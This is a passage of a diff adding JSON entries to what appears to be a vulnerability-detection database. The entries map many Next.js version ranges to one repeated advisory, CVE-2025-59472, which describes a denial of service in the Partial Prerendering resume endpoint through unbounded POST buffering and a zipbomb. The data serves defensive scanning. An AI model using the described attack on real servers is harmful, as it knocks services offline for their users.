}, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.3-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.4-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.1.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.5.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] } ], "extractors": {